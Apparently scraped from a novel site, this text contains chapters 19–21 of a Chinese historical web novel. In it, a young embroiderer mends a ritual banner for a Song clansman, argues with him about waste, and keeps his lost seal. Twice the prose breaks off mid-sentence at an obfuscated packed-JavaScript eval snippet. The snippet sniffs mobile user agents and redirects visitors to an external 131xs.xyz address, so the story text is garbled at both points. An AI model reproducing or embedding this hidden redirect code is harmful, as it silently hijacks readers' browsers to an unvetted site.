夜深了，所有人回到简陋的临时住处，气氛压抑得如同暴风雨前夜。大通铺上，小娘子们沉默地整理东西，没人敢大声说话，更没人敢议论白日里广场上的惊魂一幕。 王教习独自坐在她那间狭小耳房内，受伤的双手无力地垂在身侧，火辣辣的剧痛一阵阵袭来。 此时，她的房门被轻轻推开，唐照环的脑袋从门缝里探进来，用孩童特有的软糯声音叫道：“教习。” 王教习猛地一震，飞快用袖子抹了一把脸，抬起头时，脸上努力绷起平日的严厉，但通红的眼眶和残留的泪痕却瞒不住人。 她看到是唐照环，眉头下意识地皱起：“做什么？” 唐照环在她面前蹲下，伸出小手，将掌心蚌壳中泛着油腻光泽的黑色药膏露出来：“您的手破了，学生自己做的这膏药，对破皮生肌也很管用，抹上很快就不疼了，您试试？” 浓烈的腥膻味直冲鼻腔，王教习胃里一阵翻涌，本能地就想缩手呵斥。但看着眼前小娘子清澈坦荡，没有半分谄媚只有纯粹关切的眼睛，再想到后续繁重的任务，王教习拒绝的话到了嘴边，又咽了回去。 罢了，死马当活马医吧，总比干疼着强。 王教习带着十二万分嫌弃地将受伤的手伸了过去，别过脸，声音干涩：“快点。” 唐照环用指尖拈起药膏，极其轻柔地在王教习手心手背涂抹了厚厚一层，用温热指腹揉开，力道恰到好处。 然后用干净的布条将她的手重重包裹，不忘解释：“这样药膏吸收得更快，旁人也闻不到味道了。” 就在这时，门口光线一暗。 一个修长的人影，不知何时，无声无息地出现在了门外的阴影里。 王教习如同惊弓之鸟，猛地从凳子上弹起，两只刚抹了药的手下意识地就往身后藏，结结巴巴，语不成句：“主祭，您，您深夜驾临，老奴失礼，请主祭恕罪。” 赵燕直并未理会她的慌乱，缓步走了进来。目光扫过唐照环手中的蚌壳，里面残余膏体泛起诡异光泽，气味让他蹙住眉峰。 19.第 19 章 军令状 随即，他的目光重新锁定惊魂未定的王教习。 “王教习这手伤得不轻。”他开口，听不出关切还是审视。 “是老奴疏忽，该当受罚。”王教习慌忙回答，心提到了嗓子眼。 “罚，是罚你查验不细。”赵燕直话锋一转，“王教习，你于绣艺一道浸淫多年，我早有耳闻。你并非眼力不济，只是心中有所顾忌，不敢言明，怕得罪了不该得罪的人。” 怎么还在纠结追责的事情，你们权贵自己斗来斗去，拿我们这些升斗小民做筏子干什么？我们的命也是命啊。 唐照环见王教习摇摇欲坠的样子，凭借心中不平之气猛地冲了上去。 她快步走到王教习前，毫不犹豫地双膝跪地。 她挺直了小小的脊背，抬起头，坦然迎向赵燕直。 “主祭容禀。王教习双手伤重，疼痛难忍，心神恍惚，恐难回主祭垂询。小女唐照环斗胆，代教习回话。” 赵燕直眉梢一挑，用深潭般的目光审视着她，无形的威压笼罩下来。 唐照环刻意无视沉重的压力，继续说道：“那幡帐污损撕裂，小女认为确如主祭明察，乃是陈年旧伤，然追责过往于事无补，眼下祭礼在即，三日为期。” 她深吸一口气，破釜沉舟地承诺道：“小女唐照环愿立军令状。三日之内，必竭尽所能，将此幡帐污损撕裂之处修补完好。” “凭你？三日时间真能修好？” 赵燕直的话语里没有丝毫信任，只有冰冷的质疑和你若敢欺我，后果自负的森然警告。 “若不能让那幡帐完好如初，我唐照环，甘愿领受主祭任何责罚。” 赵燕直那双深不见底的眸子，在唐照环稚嫩却异常坚定的脸上停留了许久。殿内烛火跳跃，将他玄青的袍子映得半明半暗，温润如玉的面庞上，神色难辨。 他终于开口：“我只给你一日，明日此时，我再来此处。若成，自有赏赐，若不成……” 他话语未尽，如同悬在头顶的利刃，拂袖转身，无声无息地消失在门外浓重的夜色里，如同他来时一般。 约一炷香后，王教习才像被抽干了力气，重重跌坐回凳子上，大口喘着气。 “唐照环，你怎敢如此莽撞。”王教习又是后怕又是气急，“那幡帐岂是那么容易修补的，稍有差池……” “教习，事已至此，别无他法。”唐照环打断她，脸上不见惧色，“与其坐以待毙，不如放手一搏。还请您指点，那污损撕裂之处，究竟如何棘手。” 王教习被她眼中沉静光芒震了一下，混乱的心绪竟奇异地平复了几分。 她咬牙道：“凭我的腰牌去库房，把幡帐领回来，咱们亲眼看着说。” 深更半夜，王教习的耳房中四处点满了灯，其他绣娘早已疲惫不堪地睡去，只有唐照环和琼姐搀扶着王教习。 那幅惹祸的幡帐被重新摊开在长案上。 王教习强忍着手心的剧痛，用裹着布条的手指，颤巍巍地指向幡帐中下部：“看这里。” 唐照环细看，心头也是一沉。 龙身威严，鳞甲森然，绣工端的是精妙绝伦。龙探出的前爪处，赫然被片浅褐色的污渍玷污，只铜钱般大小，却像块丑陋的膏药，刺眼至极。 “像是没处理干净的墨渍。位置太刁钻，寻常清洗稍有不慎，就会伤了珠子。”王教习指点两人，“更棘手的是撕裂，有人用粗硬的东西试图刮蹭清理，结果污渍没弄干净，反而把绣地的底丝给生生刮伤了。丝线已损，强行缝补，针脚再密也看得出痕迹，且受力不均，反而更易崩坏。” 唐照环脑中飞快地搜索着前世模糊的记忆碎片。墨的主要成分是炭黑和胶，宋代有什么东西能溶解这两样又不伤丝绸和珍珠？ “教习，这污渍，可否用极淡的皂角水混合大量烧酒，再加入糯米酸浆来洗？” 这是她能想到最接近活性吸附加有机溶剂的组合。 王教习一愣，随即皱眉思索：“皂角水去污是常理，烈酒确能去些陈年油污，糯米酸浆取其酸涩收敛之性？倒未曾听闻如此合用，你有多大把握不伤丝线和珠子？” “没有十成把握，”唐照环实话实说，“但这是目前能想到最稳妥的法子，总比干看着强。” 王教习横下一条心：“唐照琼，拿我腰牌去厨房和库房要东西，要快。” 琼姐应了一声，飞快地跑了出去。 王教习额头冷汗涔涔，一半是疼的，一半是急的：“丝线已损，寻常缝补无济于事，唯有用织补之法。接下来我来说织补的要诀，你听着。 你小心从背部收口处取同色同批的丝线，以针为梭，将断损的经纬丝线，一根一根，重新编织连接。 针法模仿织机，单经穿纬，密而不乱，补上的部分便能与原绣地浑然一体。” 唐照环明白了。她把幡帐翻到背面，用最小号的绣花剪，在边缘极其小心地抽取了几十根与撕裂处色泽、粗细、光泽都完全匹配的丝线，又选了几根细如发丝的骨针，将丝线一一穿好。 好在祭礼将至，四处日夜不停，琼姐很快找齐了东西，气喘吁吁地回来了。 唐照环配好清洗液，用最细的羊毫笔尖蘸取少许，点在污渍的边角，避开珍珠。 她已经想好了，如果这方法不奏效的话，就把污渍附近一整片的珍珠和黑曜石都拆下来。再把破损处当作底层，整片织补覆盖，最后重新串珠。虽然工序麻烦，最快也要明日下午才能弄好，但绝对解决问题。 等待几个呼吸，污渍的边缘竟真的有极其细微的溶解晕开，唐照环再用最干净柔软的细麻吸走溶解的污液。 “成了。” 王教习又惊又喜：“好，如法炮制。” 唐照环给琼姐也配了一份清洗液，两人同时开工，沾取，点，吸，重复数百遍，浅褐色的污渍一点一点地变淡缩小，直至最后，只剩下一点极其微弱的痕迹，不凑近细看几乎无法察觉。 污渍处理完毕，窗外已敲四更鼓。 休息片刻，开始处理破损处，两人凭借做吉星纹罗练出来的配合度，一人管挑，一人管穿，模仿织机的运作，一针一针，将新丝线如同织布般，编织进破损的地方。 两人手指稳定得不像初学者，眼神专注得天地间只剩下那方寸之地，汗水浸湿了鬓角，浑然不觉。 王教习在一旁看着，起初是破罐破摔，渐渐变成了惊讶，最后变成震撼。 这俩丫头的手法，虽显生涩，但那份对经纬走向的把握，那份穿针引线的精准稳定，那份不急不躁的心性，竟隐隐有大家风范。 时间一点点流逝。窗外天色由浓黑转为深灰，又透出鱼肚白，直至第一缕晨光透过高窗缝隙照射进来，两人终于直起僵硬的腰背。 “教习，好了。”唐照环的声音带着浓浓的疲惫，却充满了如释重负的轻松和骄傲。 王教习猛地惊醒，挪到长案前，借晨光仔细看去。 曾盘踞在龙爪尖上的污渍消失无踪，撕裂破损处光滑平整，丝线走向流畅自然，看不出任何修补的痕迹，唯有知情人凑到极近处细细分辨，才能发现那里有密密新织进去的几缕丝线。 “当真是天衣无缝。”王教习激动得声音变了调，不顾手上剧痛，一把抓住两人的肩膀，“好孩子！好本事！” 唐照环疲惫地笑了笑，只觉浑身骨头都像散了架：“侥幸，侥幸罢了。” 消息很快送到了暂居昭孝禅院斋戒的赵燕直耳中。 “当真修补好了？”他放下手中经卷，“不用送来，我现在带人去验看。” 赵燕直在一众随从的簇拥下，再次踏足绣娘们暂住的偏殿院落。 修补好的幡帐已焕然一新地悬挂起来。龙爪前探之处，珍珠黑曜石熠熠生辉，绣地平整光洁，污渍与撕裂如同从未存在过。 赵燕直缓步走到幡前，指尖拂过曾被污损撕裂的位置，触感光滑，纹理流畅，毫无滞涩。他俯身靠近，细细审视了许久。 所有人都屏住了呼吸，等待心思难测的主祭裁决。王教习紧张得手心冒汗，琼姐更是吓得要晕过去，只有唐照环，虽低眉肃立，脊背却挺得笔直。 良久，赵燕直脸上温和笑意终于重新浮现，甚至比平日更真切了几分。他转过身， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240820|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光落在形容憔悴的王教习裹着布条的双手上，又扫过旁边同样疲惫的唐照环和琼姐。 “李检校，你看到了？” “看到了，看到了，绣艺坊的娘子们果然技艺精湛，巧夺天工。这幡帐修补得，简直是……”李检校连忙躬身，搜肠刮肚想找词奉承。 赵燕直脸上的笑意倏地一收，眼神瞬间冷冽如冰：“既然看到了，便听我令谕。 祭礼在即，各部当以此幡为鉴，凡祭礼所用之物，无论器皿、仪仗、服幔、陈设，但有丝毫污损、陈旧、不合规制之处，自行检视，即刻修补更换。 我不管你们往日如何惯例，此番祭礼，关乎圣心，关乎国体，绝不容半分敷衍亵渎，若待我明日查检出来，休怪我按大不敬之罪，先斩后奏。” 最后四个字，如同冰锥，狠狠刺入在场每个人心底。那些原本还存着侥幸，想着糊弄过关的小吏内侍，无不脸色煞白。 赵燕直不再看他们，目光重新落回王教习和琼环二人，语气复又温和：“王教习手伤未愈，此番辛劳，我记下了。唐家娘子们年少有为，更当嘉奖。” 他身后的禁军护卫立刻上前。 “赏绣艺坊王教习白银二十两，上等伤药两瓶。赏唐家娘子白银各十两，以资嘉勉。” 三人躬身行礼：“谢主祭赏赐。” 赵燕直的身影很快消失在院门外。 李检校尖着嗓子，气急败坏地吼道：“都聋了吗？没听见主祭的话？还不快滚去清查自己手里的东西，办不好的，仔细你们的脑袋。” 吼完，他自己也脚步匆匆地走了，显然是去处理自己可能存在的疏漏。 王教习将赏银和伤药小心收好，哑声道：“唐照环，唐照琼，你们自去歇着，后面的事，我交别人去忙。” 祭礼前一日，深夜，监理太监李检校的值房。 “检校，您说说，这叫什么事儿啊，这位主祭爷也太难伺候了吧。”一个管器皿的内侍苦着脸抱怨，“往常哪有这般折腾，大体上过得去不就行了。这位爷倒好，拿个破幡帐小题大做，如今更逼得大伙儿像没头苍蝇似的。库房那边光清点替换有锈迹的铜灯座就忙到后半夜，要人命了。” “就是。”另一个管仪仗的小吏接口，“咱们这皇陵供奉，风吹日晒的，哪能件件都跟新的一样，往年不都这么过来了？偏生这位爷眼里揉不得沙子，非拿着鸡毛当令箭，在咱们这儿抖威风。” 众人七嘴八舌，怨气冲天。 李检校慢条斯理地呷了口茶，眼皮子都没抬一下。 听众人抱怨完了，他放下茶盏，嗤笑一声：“行了行了，都消停点。该查查，该补补，熬过明日祭礼，天大的事也了了。” 他环视一圈，面上是看透世事的精明和冷漠。 “这位爷，姓赵没错，是宗室也没错。可从他爹起，就跟今上出了五服。 按咱大宋的规矩，宗室无旨不得出京，不得为官，不得从军，不得经商，王爷也就名头好听，领份俸禄罢了，实权半点也无。 这位郎君，走了天大的运气才捞着这次主祭的机会，他若把祭礼办得平平无奇，或是出了岔子，怕是连他爷那点恩宠都要耗尽了。 所以他才这般较真，处处显摆他的用心，纯孝，想在官家面前露脸，给自己搏个前程。” “那咱们就这么被他当猴耍？被他逼死？”有人不服气。 “反正就剩最后一日了。”李检校端起茶盏，吹了吹浮沫，“祭礼一过，他乖乖回汴京继续当他的富贵闲人。这地界儿，还是咱们说了算。水至清则无鱼，这道理，上面的人比咱们更明白。” 他将杯中茶水一饮而尽：“都打起精神，他想要面子，咱们就给他把面子做足。只要祭礼顺顺当当结束，自有你们的好处，懂吗？” 值房里响起几声应和。 “懂。” “听检校的准没错。” 李检校满意地点点头，挥了挥手：“散了散了，该干嘛干嘛去。仔细点，别在最后关头撞到那位活阎王手里。” 众人纷纷告退，打起精神去应付那宗室边缘人最后的折腾。 20.第 20 章 顶撞 祭礼终了，钟磬余音袅袅消散。 繁琐仪程耗尽心力，赵燕直回到昭孝禅院专为他辟出的净室，屏退了左右，只留下他如铁塔般的禁军护卫。 室内檀香氤氲，却驱不散赵燕直眉宇间的沉郁。他身着素净常服，坐在书桌前，指节无意识地敲击桌面，发出沉闷的笃笃声。 他忽然开口，满是疲惫：“镇哥，都看见了？” 王镇抱着臂膀立在门边阴影里，闻言只闷闷地嗯了一声。他身材魁梧，面容刚毅，一拳能打死牛，却半天憋不出一句整话。 “国之大事，在祀与戎。”赵燕直的声音低了下去，像说给王镇听，又像说给自己，“可你瞧瞧这祀，若非我此番拿出雷霆手段，步步紧逼，处处敲打，大至祭台，小到垫布，哪一样不糊弄，哪一样不敷衍。祖宗陵前尚且如此，那些看不见的地方，又该是何等光景。” 他端起冷掉的茶盏，抿了一口，苦涩直冲喉头，如同他此刻的心境：“至于戎，元丰元年，官家抽查西作坊制武器，连试三把弓，竟都断弦脱胶！天子震怒，彻查工部军器监，结果如何？还不是层层推诿，最后推出几个替罪羊了事。风气如此，从上到下，早已烂熟。” 他猛地将茶盏顿在桌上，茶水溅出少许。王镇身形微动，想上前，又停住了，担忧地看着他。 赵燕直苦笑一声，看向王镇的眼中毫不掩饰羡慕之情：“你能凭一身本事入禁军，凭真刀真枪挣前程。过几年考上武状元，更是大丈夫建功立业，正当其时。 哪像我空有抱负，却似金丝笼中雀，连振翅都不得其法。除了顶着个宗室名号，靠祖父余荫过活，我还能做什么？此番祭礼，不过大宗正寺一时无人可用，才被我争取到。明日回汴京，继续做我的富贵囚徒。” 王镇张了张嘴，黝黑的脸上肌肉抽动了几下，想安慰，憋了半天只讷讷挤出几个字：“郎君莫急，总有法子。” 看自家奶兄那笨拙焦急的模样，赵燕直满腔的愤懑与不甘，终究化作一声长长的叹息。他摆摆手，嘴角扯出苦笑：“罢了，跟你说这些做什么。你也累了一天，去歇着吧，让我一个人静静。” 王镇没再说什么，抱拳行了一礼，默默退了出去，高大身影消失在廊下，依旧如磐石般守在外门。 赵燕直枯坐良久，胸中那股难以排遣的块垒却愈发沉重。他起身，走到门外，对值守的内侍道：“去，取笔墨纸砚来。” 小内侍应声，不多时，捧了套笔墨纸砚进来，放在书案上。 赵燕直等人离开，起笔，蘸饱了墨，却悬在半空，久久未能落下。胸中思绪万千，家国天下，身世浮沉，堵塞在喉头，竟不知从何写起。 他烦躁地将笔掷回笔山，墨点溅在洁白的宣纸上，晕开一片污迹。 “来人。”他再次唤道。 还是那个小内侍：“主祭有何吩咐？” “这纸太小，写不尽兴。”他蹙眉道，“去取两匹素绢来。” 大晚上的要绢布？小内侍不敢多问，应了声是，转身就要去库房翻找。可走了两步，他眼珠一转，脚步拐了个弯，径直往绣娘们暂住的偏殿跑去。 偏殿外面空地灯火通明，祭礼已毕，王教习需要尽快跟禁军完成需要运回汴京的布品收拾清点，整理归置和交接。所有的绣娘都分到了工作，正紧锣密鼓地忙着。 小内侍脚步匆匆地跑进院子，左右张望。他见王教习手上裹着布条，正跟禁军核对，便随手抓住离得最近的唐照环：“你，主祭那边要写素绢，拿上剪刀跟我去伺候裁布。快，主祭等着用呢。” 唐照环顿住，这种活计怎么会落到她头上？她下意识看向王教习。 王教习也听到了小内侍趾高气扬的话语，心中暗骂这些阉人就会支使人。 她本想叫个手脚麻利的年长绣娘去，可转念一想，裁绢布虽是粗活，但毕竟是在主祭房里伺候，万一问起什么，得有个机灵点，又识得几个字的人回话才好。环顾四周，唯有唐照环识字，人也稳妥。 “唐照环，你去吧，仔细些，莫要毛手毛脚冲撞了贵人。” 唐照环心中无奈，只得应下，拿上针线包，跟着明显不耐烦的小内侍，去库房领了两匹新造的上好素绢。小内侍见她能抗能跑，乐得清闲，干脆指了路让她自己送去。 唐照环抱着素绢走到赵燕直净室门外。 王镇如同门神般杵在那里，看了她一眼，认出是被赏过的小绣娘，又见她抱着布卷，知是送东西的，侧身让开了门。 唐照环垂首敛目，叩了叩门：“主祭，您要的素绢。” “进来。”赵燕直的声音从里面传来。 唐照环推门而入，将素绢放在书案一角，只想赶紧离开：“主祭，绢布在此。若无其他吩咐，小女告退。” “且慢。”赵燕直叫住了她，“你识字？” 唐照环心中一凛，谨慎答道：“回主祭话，不识得几个，只会写自己的名字，最多……最多帮我爹磨过墨。” 她故意将自己说得粗鄙，降低存在感。 赵燕直懒得深究她话里真假：“那就留下，伺候笔墨。” 唐照环无法，只得应了声是，走到书案旁，拿起墨锭，在砚台里加了点水，默默地研磨起来。 赵燕直提笔饱蘸浓墨，铺开一张素绢。那压抑已久的郁气，终于找到了出口，化作笔走龙蛇。他不再拘泥于宣纸的方寸，素绢的柔韧承载了他更狂放的笔意。字迹时而激愤如刀，时而沉郁如海，力透绢背。 唐照环眼观鼻，鼻观心，只专注地磨墨，恨不得自己是个瞎子。赵燕直写到酣畅处，瞥她一眼，见她一副木讷模样，只道是个本分且见识浅薄的小丫头。 不知过了多久，一匹素绢几乎写满。赵燕直掷下笔，长长吐出一口浊气，胸中郁结散去不少。但随即，他看着满桌满地墨迹淋漓的绢布，眼神骤然一冷。 这些东西，不能留。 “去，搬个火盆进来，把这些全都烧了。”他指了指案上地上四处散落的宣纸和素绢，“一片碎屑也不许留。” 唐照环应了声，转身出去。不多时，费力地搬了个亮闪闪的铜火盆进来，把炭火烧到正旺。 她拿起写满字的素绢，毫不犹豫一条条裁剪开，投入火中。火焰腾起，瞬间吞噬了墨迹，化作飞灰。轮到那些宣纸时，她看着手中大片地方依旧空白的上好纸张，动作不由得迟疑了。 “怎么？”赵燕直察觉到她的停顿，目光扫了过来。 唐照环心一横，捧着一叠只写了几个字的宣纸，起身面向赵燕直，屈膝行了一礼，刻意地卑微讨好道：“主祭容禀。这宣纸是上好的贡品，有的只有墨点，大片地方还空着，烧了实在可惜。斗胆请示，能否容小女将这些空白的部分裁下来？主祭放心，有字迹的地方，保证烧得干干净净，绝不留半点痕迹。” 赵燕直闻言，眉头蹙了一下。 这话让他很是不快。他赵燕直的东西，烧便烧了，何须一个小小绣娘来可惜。他虽处境尴尬，但这点东西还不放在眼里。 他觉得这丫头未免太小家子气，嫌弃道：“区区几张宣纸也值得你如此计较，烧了便是，干净利落。绣艺坊应没如此穷困，不至于连这点边角料都看在眼里。” 这话语中的轻慢，如同针尖刺了唐照环一下。她眼中刻意维持的卑微瞬间褪去，取而代之的是属于现代灵魂的耿直。 她依旧保持行礼的姿势，理直气壮地顶撞： “主祭出身尊贵，自然不将这些阿堵物放在眼里。可对小女这等升斗小民而言，宣纸和素绢，就是天大的财物。 遍身罗绮者，不是养蚕人。此等好宣纸至少十五文一张，一匹绢市价一贯二，够我家用一个多月。上上个月交夏税，我每日起早贪黑，手脚不停，也要织上五六日才能得一匹。 我爹是个穷酸秀才，日夜苦读，就盼着有朝一日能中举，改变门庭。束脩纸笔，哪一样不要钱？不像主祭您，生来便在云端，随手写几个字，上好的东西说烧便烧了。” 她一口气说完，胸脯剧烈起伏。室内一片死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247233|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂，只有火盆里的炭火噼啪作响。 赵燕直完全愣住了。他从未想过，会从一个卑微小绣娘的口中，听到如此直白的控诉。那句遍身罗绮者，不是养蚕人，像一记耳光，响亮地抽在他方才那点轻慢的心思上。 更让他心头剧震的，是那句，穷酸秀才，日夜苦读，就盼着有朝一日能中举，改变门庭。 他不也日日期盼着能改变处境吗？可他的路在哪里？ 小绣娘的父亲，再穷困，再艰难，终究还有一条看得见，摸得着的路可以拼搏。而他生来姓赵，连资格都没有。 “你父尚有科举一途可搏前程。而我，”赵燕直自嘲地笑了笑，“生来便似金丝笼中之雀，连振翅的方向，都被人钉死了。” 他的语气中充满了深深的无力和自厌，他连在王镇面前都未曾如此直白流露。或许因为眼前只是个陌生的小娘子，或许因为今夜胸中块垒实在难消。 啧，来了来了，经典富二代忧郁症，搁这儿跟我演金丝雀的烦恼呢，跟现代社会那些抱怨家里给买了玛莎拉蒂但不是最爱颜色的少爷有啥区别？ 您哪是笼中雀，您是天生金凤凰啊，多少人几辈子修不来。生来就在罗马，锦衣玉食，仆从环绕，想写个字都有上好的素绢宣纸随便造，搁这儿伤春悲秋的，还振翅的方向被钉死，真是饱汉不知饿汉饥，矫情。 唐照环强压下翻白眼的冲动，拼命告诫自己。不行不行，阶级鸿沟大过天，这位爷再自怨自艾也是主子，我这小身板可顶不住雷霆之怒。刚为了宣纸已经顶撞一次了，再来一次，怕不是嫌九族消消乐玩得不够刺激。 她眼珠一转计上心头，不如给他个难题，让他自个儿琢磨去，省得他闲得发慌，逮着我这只小蚂蚁倾诉他那富贵病。 要振翅是吧？行，按史书给你个方向，看你接不接得住。 她故意用天真的语气问：“主祭既想做一番事业，又觉宗室身份是桎梏，为何不试着为那些困顿的宗室们，寻一条出路呢？” 赵燕直猛地看向她：“此言何意？” 唐照环斟酌词句，尽量说得动听：“主祭既知宗室之苦，又心怀济世之念。那汴京城中，与主祭虽同出一脉，却因血脉疏远，家道中落，困顿潦倒，甚至为生计所迫，做出有辱宗室体面之事的宗亲，想必也有吧？” 她点到即止，不敢说得太明。北宋中后期，下层宗室生活困顿乃至卖女违纪，并非罕见。 “主祭若真想有所作为，或可从这些同宗着手，为他们寻一条活路，一条既能保全宗室体面，又能自食其力，安稳度日的出路。此既解宗室之困，又能安朝廷之心，积功德于社稷。 或许这便是主祭能施展抱负的一处天地？总好过对死物宣泄。”她意有所指地抬起手中的纸堆。 赵燕直死死盯着唐照环，胸中翻江倒海。 她的说辞如同黑暗中划过的一道闪电，瞬间照亮了他混沌的思绪。 是啊，庞大的宗室群体并非人人都如他祖父般还能有点余荫，不如他的更多。他们同样被禁锢，同样无所事事，同样在消耗朝廷的供养，若能为这些人找到一条生路，让他们也能为国所用，自食其力，而非坐吃山空，惹是生非。 岂不是可从此打破宗室禁锢，成就一番足以改变格局的大事业。 唐照环被他看得有些发毛，慌忙深深行礼谢罪：“小女信口胡言，主祭恕罪。” 赵燕直此刻心潮澎湃，也顾不上她了，语气前所未有的温和：“你想裁便裁吧。有字之处手脚麻利些，处理干净。无字之绢，还有干净的宣纸便赏你了。” “谢主祭恩典。” 唐照环如蒙大赦，动作飞快，将空白绢布和纸张仔细叠好，抱在怀里，再次行礼，快步退出了净室。 房门轻轻合上。赵燕直缓缓走到书案前，铺开一张新的素绢，提笔蘸墨。这一次，笔下的字迹不再激愤沉郁，而是充满了意图破茧而出的锐意与深沉的谋算。 为困顿宗室寻出路，这盘棋，或许比他想象的，更大。 21.第 21 章 燕直私记 翌日天蒙蒙亮，永厚陵还笼罩在薄雾和庄严肃穆的晨钟声里。绣艺坊众人已起身收拾行装，准备乘官车返回永安县，人人脸上带着熬过大劫的疲惫和即将归家的轻松。 唐照环正和琼姐合力归拢打包修补工具，忽觉一道高大的阴影笼罩下来。 抬头一看，杵在她们面前的，正是一直跟在赵燕直身后的禁军护卫。 王镇言简意赅，毫无废话：“随我来，郎君寻你。” 唐照环心头一跳。 找她？这大清早的，所为何事？总不会是秋后算账昨夜的言语冒犯？ 琼姐担心地抓住唐照环的袖子。 唐照环定了定神，安抚地拍拍琼姐的手背：“没事，我去去就回。” 她放下手中活计，跟着王镇穿过清晨微凉的庭院，走到赵燕直暂居的净室。 净室门开着，他已换上一身正式礼服，正由内侍伺候整理腰间玉带，更显身姿挺拔，贵气逼人。 他指了指书案一角：“有个针线包在此。看看，可是你的？” 唐照环顺着望去，果然见到自己的旧针线包孤零零地躺在光洁的书案上，与周围清雅格格不入。 她心下微松，原来是为此。 上前检查针线包，里面针线剪刀一样不少。她屈膝行礼：“多谢主祭，正是小女之物。” 赵燕直指着昨天唐照环放在角落的火盆，吩咐：“既来了，将盆里的废纸残绢一并烧干净了，剩下的空白素绢，依旧赏你。” 唐照环应了声是，走到火盆边蹲下。盆中炭火早已熄灭，上面堆了些写了字的绢，应是她走后赵燕直又写的。 她从针线包中拿出剪刀，裁下空白部分收拢放在边上，然后取过火折子，轻轻一吹，火苗窜起，火焰舔舐素绢边缘，布料在火光中扭曲变形，渐渐化为焦黑。 “郎君时辰到了，车驾已备好，李公公那边催请了。”门外传来王镇的提醒。 赵燕直闻言不再停留，对唐照环丢下一句烧干净，步履从容地走出了净室。王镇紧随其后，如同最忠实的影子。 赵燕直一走，昨夜那个值夜的小内侍不知从哪个角落钻了出来，提着一壶水直奔火盆：“主祭都走了，还守着个空屋子作甚。磨蹭什么，赶紧收拾赶紧走，莫要在此碍眼。” 唐照环巴不得快走，立刻应道：“是是，这就好。” 小内侍提起壶，把水直接浇进火盆，嘴里嘟囔：“这可是上好的银霜炭，贵着呢。” 水立刻淹没了炭块，原本盆底积攒的灰浮到水面，没烧净的绢吸水沉了底。 小内侍眼疾手快地用夹子把熄灭了的炭块夹走，命令唐照环：“动作快点，把盆洗干净送回库房。” 唐照环被他指使得心烦，又不好顶撞，只得加快动作，夹着东西，端起全是水的火盆出了门。 离开了那处院落，她走到僻静墙角，把水倒在树根边上。 见地上还有一大片湿漉漉没烧完的素绢残片，心中那点可惜劲儿又上来了。她飞快地左右张望一下，确认无人，迅速伸手把残片扒拉出来，也顾不上脏，飞快地团了团，塞进怀里内袋。 管它带不带墨迹，只要是上好的素绢，带回去拆洗拆洗，总能派上用场，蚊子腿也是肉呀。 做完这一切，她拍拍衣襟上的灰，准备抱起裁好的空白素绢离开。鬼使神差般，她目光又扫过湿灰，看到一点温润的白光。 嗯？ 她蹲下身，小心拨开，一枚小巧玲珑的白玉印章赫然出现。印章不过半寸见方，印钮是一只盘踞昂首的螭虎，虎目圆睁，獠牙微露，透着一股威猛灵动的气势。印底沾了些许黑灰，依稀能辨出四个篆字，燕直私记。 哦，他叫赵燕直。 回京车队早已出发，以她的两条小短腿，追也追不上了，交到旁人手里，谁知道那些心思不正的内侍要借此生多少勾当，还不如自己拿着，起码人品可靠，不会用它干坏事。 主祭发现丢了要紧物件，定派人来找。问到她时，只需挺直腰板说句“替您收着呢”，说不定还能再得份赏钱。 “权当替贵人保管几日。” 唐照环将印章塞进内袋，跟残片作伴，然后按照小内侍的吩咐，把火盆洗干净还回库房。 等她干完这一切，绣衣坊众人早等得不耐烦，唐照环口中连连告罪，飞快跳上车，还没坐稳，马车便启动了。 她开心地抱着刚得来的空白素绢，心里盘算加上昨天的大块好宣纸，能换多少盐米，决定用小块的素绢给弟弟拼块包被，再给爹娘各做双袜子。 与此同时，前往汴京的华丽马车内。 车厢宽敞舒适，四处铺着厚厚的锦垫。 赵燕直靠在车壁上，从怀中取出昨夜新写的素绢，上面密密麻麻写满了文字，是他关于为困顿宗室寻找出路的初步构想。墨迹淋漓，力透绢背，显见书写时的澎湃心绪。 他展开素绢，细细推敲一番，确认无误，手伸向随身荷包，准备加盖印章。 本该装他那枚螭虎钮白玉私印的地方，此刻空空如也。 赵燕直的心猛地一沉，立即在袖中和怀中摸索，又翻看锦垫上下，皆无踪影。 他想起来了，定是今早走得匆忙，将需要烧毁的废稿连同压在稿上的私印，一股脑扫进了火盆。 当时只想着赶紧处理干净，竟忘了印还在上面。 “停车。” 马车缓缓停下，王镇策马靠近车窗：“郎君？” 赵燕直撩开车帘，脸色微沉：“我的螭虎私印不见了，应是遗落在净室火盆中。你速……” 话未说完，他顿住了。 回望永厚陵方向，巍峨的陵阙屋顶已看不到。 此时折返，动静太大。更重要的是，净室此刻想必已有人打扫清理。 私印虽刻有名字，但无官方效力，丢失了也只是财物损失，今早扔在火盆里的文字，从表面看并无出格之言，大张旗鼓回去找反而引人遐想，但确实得防着有心人利用。 赵燕直心思本就缜密多虑，此刻更是将各种可能的后果都想了一遍。 王镇见他脸色变幻，沉声道：“我快马回去，片刻即回。” 赵燕直做出决断：“不用你去，找个不相干的人回去传个话，就说我的私印丢了，他们要是见到给我送过来。” 王镇点头，赵燕直放下车帘，重新靠回锦垫。 那帮内侍小吏听到消息，又见传信的人无关紧要，只怕互相使个眼色，假模假式地翻找半晌，最后统一口径说地方太大没见到，横竖谁也不会真为一颗私印费心思，都是糊弄。 至于真正捡到印的人，肯定先藏一阵，然后再寻机磨平了篆文卖去玉器铺。 